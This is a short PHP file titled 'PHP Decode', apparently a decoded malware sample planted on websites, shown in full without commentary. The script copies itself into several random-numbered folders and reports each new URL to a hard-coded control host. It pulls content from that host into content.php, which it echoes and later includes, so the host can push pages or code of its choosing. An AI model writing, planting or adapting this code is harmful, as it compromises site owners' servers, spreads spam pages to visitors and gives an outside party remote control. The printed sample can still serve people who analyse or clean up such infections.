PHP Decode

<?php 
	$PageNum=5; 
	$isRoot="ck"; 
	$myname="c"."k"; 
	$ControlUrl="http://www.bossklsf.com"; 
	// 
	function createFolder($path){ 
		if (!file_exists($path)){ 
		   createFolder(dirname($path)); 
		   mkdir($path, 0777,true); 
		} 
	} 
	function getUrlContent($url) { 
		$content = @file_get_contents($url); 
		return $content; 
	} 
	 
	// 
	function CreateFile($filename,$content){ 
		$index=fopen($filename,"w"); 
		fwrite($index,$content); 
		fclose($index); 
	} 
	 
	 
	function MyReadFile($file){ 
		$handle=fopen($file,"r"); 
		$con=fread($handle,filesize($file)); 
		fclose($handle); 
		return $con; 
	} 
	 
	 
	 
	$webRoot=$_SERVER['DOCUMENT_ROOT']; 
	 
	// 
	if((is_file("content.php")) and ($isRoot!=$myname)){ 
		include_once("content.php"); 
		exit(); 
	} 
	 
	// 
	$Uri=trim(str_ireplace("index.php","",$_SERVER['REQUEST_URI'])); 
	for($i=1;$i<=$PageNum;$i++){ 
		$randMath=rand(1111,9999); 
		$Urls=""; 
		 
		 
		if($isRoot==$myname){	// 
			$OtherDir=$randMath; 
			$Urls="http://".$_SERVER['HTTP_HOST'].$Uri.$randMath."/"; 
			echo "<a href='".$Urls."' target='_blank'>".$Urls."</a></br>"; 
		}else{ 
			$OtherDir="../".$randMath; 
			$Urls="http://".$_SERVER['HTTP_HOST'].dirname($Uri)."/".$randMath."/"; 
		} 
		 
		$con=MyReadFile("index.php"); 
		$con=str_ireplace("ck","123",$con); 
		 
		createFolder($OtherDir);	// 
		CreateFile($OtherDir."/index.php",$con); 
		getUrlContent($ControlUrl."/SaveUrl.php?url=".$Urls); 
	} 
	if($isRoot!=$myname){	// 
		$NowUrl="http://".$_SERVER['HTTP_HOST'].$Uri; 
		$web="http://".$_SERVER['HTTP_HOST']; 
		$GetUrl=$ControlUrl."/GetInfo.php?url=".$NowUrl; 
		echo $FileCon=getUrlContent($ControlUrl."/GetCon.php?url=".$NowUrl."&web=".$web); 
		if( $FileCon != null ){ 
			CreateFile("content.php",$FileCon); 
		} 
	} 
	 
?>